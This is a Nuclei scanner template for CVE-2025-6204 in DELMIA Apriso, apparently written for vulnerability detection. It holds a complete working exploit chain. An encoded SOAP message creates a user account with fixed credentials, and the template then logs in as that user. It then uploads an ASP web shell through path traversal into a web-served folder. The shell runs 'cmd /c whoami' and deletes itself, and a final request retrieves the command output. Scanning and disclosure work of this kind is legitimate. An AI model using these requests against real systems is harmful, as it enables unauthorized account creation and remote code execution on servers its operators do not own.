id: CVE-2025-6204

info:
  name: DELMIA Apriso - Command Injection
  author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
  severity: critical
  description: |
    An Improper Control of Generation of Code (code injection / file upload → RCE) vulnerability affecting DELMIA Apriso (Release 2020 → Release 2025). When an authenticated user can upload files and the upload handler fails to canonicalize filenames or enforce storage restrictions, an attacker may place executable artifacts into web-served locations (via path traversal or insufficient normalization) and achieve remote code execution under the webserver context.
  remediation: |
    Apply security patches from DELMIA for Release 2020 through Release 2025 to implement proper file upload validation and path canonicalization.
  impact: |
    Authenticated attackers can upload executable files through path traversal to achieve remote code execution on DELMIA Apriso servers.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6204
    - https://www.3ds.com/trust-center/security/security-advisories/cve-2025-6204
    - https://projectdiscovery.io/blog/remote-code-execution-in-delmia-apriso
  metadata:
    verified: true
    max-request: 5
    shodan-query: title:"DELMIA Apriso"
  classification:
    cve-id: CVE-2025-6204
    epss-score: 0.75306
    epss-percentile: 0.99452
    cwe-id: CWE-94
    cvss-metrics: "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
    cvss-score: 9.0
  tags: cve,cve2025,delmia,apriso,rce,traversal,upload,intrusive,vuln,kev,vkev

flow: http(1) && http(2) && http(3) && http(4) && http(5)

variables:
  filename: "{{randbase(5)}}"
  username: "LAST"
  password: "9"

http:
  - raw:
      - |-
        POST /Apriso/MessageProcessor/FlexNetMessageProcessor.svc HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml;charset=utf-8
        Soapaction: "http://tempuri.org/IFlexNetMessageProcessor/ProcessMessageASync_v2"

        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
        xmlns:tem="http://tempuri.org/">
            <soapenv:Header/>
            <soapenv:Body>
                <tem:ProcessMessageASync_v2>
                    <tem:xmlMessage>&lt;&#70;&#108;&#101;&#120;&#78;&#101;&#116;&#95;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#115;&#32;&#120;&#109;&#108;&#110;&#115;&#58;&#120;&#115;&#105;&#61;&quot;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#119;&#119;&#119;&#46;&#119;&#51;&#46;&#111;&#114;&#103;&#47;&#50;&#48;&#48;&#49;&#47;&#88;&#77;&#76;&#83;&#99;&#104;&#101;&#109;&#97;&#45;&#105;&#110;&#115;&#116;&#97;&#110;&#99;&#101;&quot;&#32;&#120;&#115;&#105;&#58;&#110;&#111;&#78;&#97;&#109;&#101;&#115;&#112;&#97;&#99;&#101;&#83;&#99;&#104;&#101;&#109;&#97;&#76;&#111;&#99;&#97;&#116;&#105;&#111;&#110;&#61;&quot;&#83;&#58;&#47;&#83;&#99;&#104;&#101;&#109;&#97;&#82;&#101;&#112;&#111;&#115;&#105;&#116;&#111;&#114;&#121;&#47;&#88;&#77;&#76;&#83;&#99;&#104;&#101;&#109;&#97;&#115;&#47;&#70;&#108;&#101;&#120;&#78;&#101;&#116;&#47;&#70;&#108;&#101;&#120;&#78;&#101;&#116;&#95;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#115;&#46;&#120;&#115;&#100;&quot;&#32;&#86;&#101;&#114;&#115;&#105;&#111;&#110;&#61;&quot;&#49;&#46;&#48;&quot;&gt;&#13;&#10;&#9;&lt;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&gt;&#13;&#10;&#9;&#9;&lt;&#71;&#105;&#118;&#101;&#110;&#78;&#97;&#109;&#101;&gt;&#70;&#73;&#82;&#83;&#84;&lt;&#47;&#71;&#105;&#118;&#101;&#110;&#78;&#97;&#109;&#101;&gt;&#13;&#10;&#9;&#9;&lt;&#70;&#97;&#109;&#105;&#108;&#121;&#78;&#97;&#109;&#101;&gt;&#76;&#65;&#83;&#84;&lt;&#47;&#70;&#97;&#109;&#105;&#108;&#121;&#78;&#97;&#109;&#101;&gt;&#13;&#10;&#9;&#9;&lt;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#78;&#111;&gt;&#48;&#56;&#50;&#54;&#50;&#48;&#48;&#52;&lt;&#47;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#78;&#111;&gt;&#13;&#10;&#9;&#9;&lt;&#76;&#111;&#103;&#105;&#110;&#78;&#97;&#109;&#101;&gt;{{username}}&lt;&#47;&#76;&#111;&#103;&#105;&#110;&#78;&#97;&#109;&#101;&gt;&#13;&#10;&#9;&#9;&lt;&#80;&#97;&#115;&#115;&#119;&#111;&#114;&#100;&gt;{{password}}&lt;&#47;&#80;&#97;&#115;&#115;&#119;&#111;&#114;&#100;&gt;&#13;&#10;&#9;&#9;&lt;&#72;&#105;&#114;&#101;&#68;&#97;&#116;&#101;&gt;&#50;&#48;&#48;&#48;&#45;&#48;&#54;&#45;&#48;&#49;&#84;&#48;&#48;&#58;&#48;&#48;&#58;&#48;&#48;&lt;&#47;&#72;&#105;&#114;&#101;&#68;&#97;&#116;&#101;&gt;&#13;&#10;&#9;&#9;&lt;&#83;&#112;&#111;&#107;&#101;&#110;&#76;&#97;&#110;&#103;&#117;&#97;&#103;&#101;&#73;&#68;&gt;&#49;&#48;&#51;&#51;&lt;&#47;&#83;&#112;&#111;&#107;&#101;&#110;&#76;&#97;&#110;&#103;&#117;&#97;&#103;&#101;&#73;&#68;&gt;&#13;&#10;&#9;&#9;&lt;&#87;&#114;&#105;&#116;&#116;&#101;&#110;&#76;&#97;&#110;&#103;&#117;&#97;&#103;&#101;&#73;&#68;&gt;&#49;&#48;&#51;&#51;&lt;&#47;&#87;&#114;&#105;&#116;&#116;&#101;&#110;&#76;&#97;&#110;&#103;&#117;&#97;&#103;&#101;&#73;&#68;&gt;&#13;&#10;&#9;&#9;&lt;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#86;&#97;&#108;&#105;&#100;&#68;&#97;&#116;&#101;&gt;&#50;&#48;&#48;&#48;&#45;&#48;&#54;&#45;&#48;&#49;&#84;&#48;&#48;&#58;&#48;&#48;&#58;&#48;&#48;&lt;&#47;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#86;&#97;&#108;&#105;&#100;&#68;&#97;&#116;&#101;&gt;&#13;&#10;&#9;&#9;&lt;&#76;&#111;&#103;&#105;&#110;&#69;&#120;&#112;&#105;&#114;&#97;&#116;&#105;&#111;&#110;&#68;&#97;&#116;&#101;&gt;&#57;&#57;&#57;&#57;&#45;&#49;&#50;&#45;&#51;&#49;&#84;&#48;&#48;&#58;&#48;&#48;&#58;&#48;&#48;&lt;&#47;&#76;&#111;&#103;&#105;&#110;&#69;&#120;&#112;&#105;&#114;&#97;&#116;&#105;&#111;&#110;&#68;&#97;&#116;&#101;&gt;&#13;&#10;&#9;&#9;&lt;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#84;&#121;&#112;&#101;&gt;&#48;&lt;&#47;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#84;&#121;&#112;&#101;&gt;&#13;&#10;&#9;&#9;&lt;&#68;&#101;&#102;&#97;&#117;&#108;&#116;&#70;&#97;&#99;&#105;&#108;&#105;&#116;&#121;&gt;&#67;&#49;&#80;&#49;&lt;&#47;&#68;&#101;&#102;&#97;&#117;&#108;&#116;&#70;&#97;&#99;&#105;&#108;&#105;&#116;&#121;&gt;&#13;&#10;&#9;&#9;&lt;&#84;&#114;&#97;&#99;&#107;&#76;&#97;&#98;&#111;&#114;&#70;&#108;&#97;&#103;&gt;&#116;&#114;&#117;&#101;&lt;&#47;&#84;&#114;&#97;&#99;&#107;&#76;&#97;&#98;&#111;&#114;&#70;&#108;&#97;&#103;&gt;&#13;&#10;&#9;&#9;&lt;&#82;&#101;&#115;&#111;&#117;&#114;&#99;&#101;&#73;&#68;&#32;&#78;&#111;&#100;&#101;&#84;&#121;&#112;&#101;&#61;&quot;&#70;&#105;&#101;&#108;&#100;&quot;&gt;&#13;&#10;&#9;&#9;&#9;&lt;&#82;&#101;&#115;&#111;&#117;&#114;&#99;&#101;&#95;&#73;&#110;&#115;&#101;&#114;&#116;&gt;&#13;&#10;&#9;&#9;&#9;&#9;&lt;&#78;&#97;&#109;&#101;&gt;&#70;&#73;&#82;&#83;&#84;&lt;&#47;&#78;&#97;&#109;&#101;&gt;&#13;&#10;&#9;&#9;&#9;&#9;&lt;&#82;&#101;&#115;&#111;&#117;&#114;&#99;&#101;&#78;&#97;&#109;&#101;&gt;&#70;&#73;&#82;&#83;&#84;&lt;&#47;&#82;&#101;&#115;&#111;&#117;&#114;&#99;&#101;&#78;&#97;&#109;&#101;&gt;&#13;&#10;&#9;&#9;&#9;&#9;&lt;&#82;&#101;&#115;&#111;&#117;&#114;&#99;&#101;&#84;&#121;&#112;&#101;&gt;&#49;&lt;&#47;&#82;&#101;&#115;&#111;&#117;&#114;&#99;&#101;&#84;&#121;&#112;&#101;&gt;&#13;&#10;&#9;&#9;&#9;&#9;&lt;&#70;&#85;&#73;&#68;&#32;&#78;&#111;&#100;&#101;&#84;&#121;&#112;&#101;&#61;&quot;&#70;&#105;&#101;&#108;&#100;&quot;&#47;&gt;&#13;&#10;&#9;&#9;&#9;&lt;&#47;&#82;&#101;&#115;&#111;&#117;&#114;&#99;&#101;&#95;&#73;&#110;&#115;&#101;&#114;&#116;&gt;&#13;&#10;&#9;&#9;&lt;&#47;&#82;&#101;&#115;&#111;&#117;&#114;&#99;&#101;&#73;&#68;&gt;&#13;&#10;&#9;&#9;&lt;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#82;&#111;&#108;&#101;&gt;&#13;&#10;&#9;&#9;&#9;&lt;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#73;&#68;&#32;&#78;&#111;&#100;&#101;&#84;&#121;&#112;&#101;&#61;&quot;&#70;&#105;&#101;&#108;&#100;&quot;&#47;&gt;&#13;&#10;&#9;&#9;&#9;&lt;&#82;&#111;&#108;&#101;&#73;&#68;&#32;&#78;&#111;&#100;&#101;&#84;&#121;&#112;&#101;&#61;&quot;&#70;&#105;&#101;&#108;&#100;&quot;&gt;&#13;&#10;&#9;&#9;&#9;&#9;&lt;&#82;&#111;&#108;&#101;&gt;&#13;&#10;&#9;&#9;&#9;&#9;&#9;&lt;&#82;&#111;&#108;&#101;&gt;&#80;&#114;&#111;&#100;&#117;&#99;&#116;&#105;&#111;&#110;&#32;&#85;&#115;&#101;&#114;&lt;&#47;&#82;&#111;&#108;&#101;&gt;&#13;&#10;&#9;&#9;&#9;&#9;&lt;&#47;&#82;&#111;&#108;&#101;&gt;&#13;&#10;&#9;&#9;&#9;&lt;&#47;&#82;&#111;&#108;&#101;&#73;&#68;&gt;&#13;&#10;&#9;&#9;&lt;&#47;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#82;&#111;&#108;&#101;&gt;&#13;&#10;&#9;&lt;&#47;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&gt;&#13;&#10;&lt;&#47;&#70;&#108;&#101;&#120;&#78;&#101;&#116;&#95;&#69;&#109;&#112;&#108;&#111;&#121;&#101;&#101;&#115;&gt;</tem:xmlMessage>
                    <tem:applicationName>myExternalApplication</tem:applicationName>
                </tem:ProcessMessageASync_v2>
            </soapenv:Body>
        </soapenv:Envelope>

    matchers:
      - type: word
        part: body
        words:
          - ProcessMessageASync_v2Response
          - <ProcessMessageASync_v2Result>true</ProcessMessageASync_v2Result>
        condition: and
        internal: true


  - raw:
      - |
        GET /Apriso/Portal/Kiosk/Login.aspx HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    extractors:
      - type: regex
        part: body
        name: viewstate
        group: 1
        regex:
          - '__VIEWSTATE" value="(.*?)"'
        internal: true

      - type: regex
        part: body
        name: eventval
        group: 1
        regex:
          - '__EVENTVALIDATION" value="(.*?)"'
        internal: true

      - type: regex
        part: body
        name: viewgen
        group: 1
        regex:
          - '__VIEWSTATEGENERATOR" value="(.*?)"'
        internal: true

  - raw:
      - |-
        POST /Apriso/Portal/Kiosk/Login.aspx?BackToStartPage=true HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE={{urlencode(viewstate)}}&__VIEWSTATEGENERATOR={{viewgen}}&__EVENTVALIDATION={{urlencode(eventval)}}&ctl04%24LoginTextBox={{username}}&ctl04%24PasswordTextbox={{password}}&ctl04%24LogInButton=Log+In&ctl04%24HiddenValue=Initial+Value&ctl04%24HiddenValue2=Initial+Value

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
        internal: true

# Self-deleteable ASP POC File
  - raw:
      - |
        POST /Apriso/webservices/1.1/operation.svc/UploadFile?filename=375c9638-1a4e-465d-90d7-f69321315acb-xxx\..\..\..\portal\Uploads\{{filename}}.asp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        <%
          Response.Write "{{randstr}}" & "<br>"

          Set rs = CreateObject("WScript.Shell")
          Set cmd = rs.Exec("cmd /c whoami")
          o = cmd.StdOut.Readall()
          Response.write(o)

          Set fso = Server.CreateObject("Scripting.FileSystemObject")
          fso.DeleteFile Server.MapPath(Request.ServerVariables("SCRIPT_NAME")), True
          Set fso = Nothing
        %>

    matchers:
      - type: word
        part: body
        words:
          - Uploads
          - ResultMessage
          - FilePath
          - Success
          - "{{filename}}.asp"
        condition: and
        internal: true

  - raw:
      - |
        GET /Apriso/Portal/Uploads/{{filename}}.asp HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "{{randstr}}"

    extractors:
      - type: regex
        group: 1
        regex:
          - <br>(.*)
# digest: 4a0a00473045022100af369d7370f4eb5dd028dfc14da21fb7235313563a3d21fd600f29349343683102204865eb32c0db1bfdc6cf03bf915748267fa1b2b1d85817219035c16b98935d4a:922c64590222798bb761d5b6d8e72950